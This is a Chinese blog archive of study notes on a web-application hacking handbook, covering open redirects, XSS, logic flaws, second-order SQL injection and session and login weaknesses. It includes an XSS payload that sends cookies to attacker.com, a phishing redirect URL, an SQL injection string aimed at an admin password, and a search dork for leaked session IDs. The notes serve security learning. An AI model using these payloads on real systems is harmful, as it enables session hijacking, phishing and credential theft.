Monthly Archives: June 2010

黑客攻防技术宝典 — Notes 9.2 针对客户端的攻击 — 利用重定向漏洞

攻:

1.已知:本系统中输入银行卡号的页面URL为 http://www.hello.com/pay.jsp。登录合点击某链接即可进入此页面

2.攻击者不登录,直接输入http://www.hello.com/pay.jsp

3.系统提示登录,提示页面的URL是 http://www.hello.com/login.jsp?
redir=pay.jsp

4.攻击者把地址栏里的页面改成 http://www.hello.com/login.jsp?
redir=http://www.hallo.com/pay.jsp,并想办法让别的用户点这个URL

5.上当者点这个URL,进入http://www.
hallo.com 的卡号输入页面,然后糊里糊涂地把卡号信息提交给 http://www.
hallo.com这个钓鱼网站

防:

  1.系统不应该从参数中获取重定向的目标地址

  2.如果必须要从参数中获取,则应该校验参数中的URL是相对URL

黑客攻防技术宝典 — Notes 9.1 针对客户端的攻击 — 跨站点脚本XSS(1)

FYI,
软件安全领域的关注焦点已从服务器端攻击转变为客户端攻击

原书说,“
XSS攻击是针对其它用户的重量级攻击

1.反射型漏洞

   a.URL参数中接受一个文本 http://hello.com/msg.jsp?msg=
Sorry,页面渲染后这个文本将打

印在页面上 <p>Sorry</p>,亦即将用户在HTTP参数中输入的文本“
反射”给用户

   b.攻击者在参数中不输入正常的文本,而是一段javascript,然后把这个URL发给一个用户

        http://hello.com/msg.jsp?msg=

<script>var+i=new+Image;+i.src="http://attacker.com/"%2bdocument.cookie;</script>

   c.收到这个URL的用户点击之,就会使浏览器执行以下脚本

  

     var i = new Image;
     i.src="http://attacker.com/"+[b]document.cookie[/b];

 

     也就是说把自己的cookie发给了攻击者拥有的网站 "http://attacker.com/"。攻击者就这样简单地

挟持了一个会话。

     这个脚本收集了 hello.com的Cookie,却把Cookie发到了 attacker.com,也就是说,这是个
跨站点的脚本

2.保存型漏洞

   发表文章时,写入一段脚本,其他用户看你的帖子时就会执行这段脚本。

   这种攻击很厉害:反射型攻击需要诱使别人点你的链接,这种攻击不用;别人点你的链接时基本上已

经登录了,这样你劫持到的session就更好用。

   你甚至可以把脚本写入到图片中,对某些版本的IE来说,如果输入 http://../actual_script.jpg,

IE浏览器会把它当HTML来解析。

黑客攻防技术宝典 — Notes 8 针对程序逻辑的攻击

开发人员喜欢做一些假设,而攻击者的操作却在假设之外

1.假设用户自己不会增、删、改HTTP参数

2.假设用户会按预定的顺序访问页面(攻击手段有 省略某些阶段、多次访问同一阶段,推后访问前一阶段,修改代表阶段的参数)。这种漏洞不但有可能暴露业务数据,甚至可能让人看到各种各样的异常信息

3.假设用户不会在最后一步提交前一步的参数

4.假设用户输入的金额是正数

5.没想到用户在获得折扣后会从购物车中删除大部分货物

黑客攻防技术宝典 — Notes 6.1 注入攻击 — SQL注入

这章讲了很多SQL注入相关的攻击手段,但现在大部分网站都没有这个漏洞了。

只有一点可以稍提一下,就是 Second Order SQL Injection

比如说,你写的用户名是 foo’,由于系统使用了防注入,所以这种用户名没有引起问题,foo’ 被存进入了数据库

然后你要求修改 foo’ 的密码。这时系统从数据库里取出用户名,由于
系统只防止了用户输入中的非法字符,而对数据库中已有的数据没有去预防,因此就有可能造成这样的SQL:

   

select password from user where name = 'foo'' 

这就会产生数据库语法错误。如果 你设定的用户名是

  ‘ or 1 in (select password from users where userame=’admin’) —

那最终的SQL就是

   

 select password from user where name = ' ' or 1 in (select password from users where userame='admin') --

这样就会产生一条数据类型转换异常,并且可能会将admin的密码打印出来

黑客攻防技术宝典 — Notes 4 针对Session的攻击

这一章很有意思,值得好好研究

Session管理的
漏洞主要有两种

   1.
Session Token的编码规则很容易被识破,因此很容易被伪造

   2.
Session Token很容易被人截获,截获者可以用这个Token冒充用户干些事情

1.
Token编码规则被识破

  常见漏洞: 

     1.对明文的Token只使用了简单的模糊算法,比如Base64, Hex等

     2.采用了简单的递增机制来生成Token

     3.简单地使用当前毫秒数来构造Token

     4.采用的随机算法的随机性太弱

  一些探测技巧:

     1.Token中有些字节并不起作用。你可以试删最后一个字节,再重新发出请求,看看还能否操作

     2.以A登录,看看Token;再以AA登录,看看Token;… 或者能看出什么门道

     3.几秒内迅速登录尽量多次,取得多个Token样本,观察他们随时间的变化规律

     4.如果能看到服务器端的代码,就可以知道生成Token的算法

2.
Session Token被人截获
   常见漏洞:

      1.页面没有使用Https

        a.受保护页面并没有使用https,导致Cookie中的Token被Sniffer截获

        b.受保护页面使用了https,但首页未使用,并且登录后Token不变! 如果Token在首页时被截获,截获者可以等用户登录后使用Token去到受保护的页面

        c.受保护页面使用了https,但从未受保护页面去到受保护页面后Token未变

      2.URL中带了Token

        a.URL中带了token,然后访问日志文件给了别人

        b.在Google中查询 inurl:jsessionid 就可以搞到很多

      3.“退出”时系统不会终止session

      4.别人利用跨站点脚本劫持了用户的Token

      5. Cookie设得过于宽泛。比如 aaa.javeye.com 这个域下的Cookie在 bbb.javeye.com中仍然有效

黑客攻防技术宝典 — Notes 3 针对Authentication的攻击

一些漏洞

 

  1.密码太简单

  2.登录失败时系统给出具体的出错信息,帮助黑客选取针对性的攻击措施

  3.把用户名/密码丢进了Cookie,然后该Cookie被其他用户获得 (比如:“一周内不必登录”)

  4.用户回答“忘记密码”相关问题后,系统没有发一封重置密码的邮件,而是直接把密码显示出来,或者让用户验证通过,去执行敏感的操作

  5.服务器端代码逻辑有问题。比如在发生数据库异常后继续让用户成功登录

 

  6.多阶段登录的漏洞:服务器代码错误地假定用户已经通过了上一阶段